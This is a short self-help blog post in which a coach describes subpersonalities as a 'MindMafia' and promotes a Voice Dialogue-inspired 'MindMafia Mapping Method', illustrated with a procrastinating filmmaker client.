Some people call it the “committee in their heads” while others call it the “boardroom” in their heads or simply the voices in their heads or on their shoulders. The reality is that there are an entire group of people – a family – residing in your psyche and they are controlling everything you do, including the way you think, feel, and often act. I call them the MindMafia because they are an underground group of “people” or voices sharing an organizational structure and code of conduct within you. There is the ego, the protector, the pusher, the child, the mother and father and a whole host of other subpersonalities that control you. And each is an important part of your make up. If you're procrastinating, it's likely because there's a voice in your head causing it. I worked with a filmmaker recently who kept procrastinating (see Procrastination Required for Filmmaker Success?) and he was beating himself up and his business was suffering because of it. We work with this part and it immediately identified itself as being responsible for his success. That was a surprise to him because it felt like it was doing the opposite - it felt like it was sabotaging him. As we progressed, we learned that it was teaching this client to pace himself so that he wouldn't burn himself out or burn through the money he had in his account. Profound shift in understanding why this part of him MindMafia was slowing him down - he was only interpreting it as procrastination. In pyschological circles, these subpersonalities have been known for years and there are various methods to attempt to identify, understand and work with these entities. Inspired by a particular method called Voice Dialogue that has been around for over 40 years, I developed the MindMafia Mapping Method as a system for identifying, understanding the roles each of these subpersonalities play, how much control they exert over you and, more importantly, a method for negotiating with each of these “people” to change their roles, if they are willing. This is extremely powerful work that can change your life in an instant, much like hypnosis. But unlike most hypnotic methods, you are completely awake and aware during the entire process. My MindMafia includes my ego, vulnerable child, magical child, baron (pusher), guardian, cynic and critic to just name a few. Who comprises your MindMafia and how are they running your business?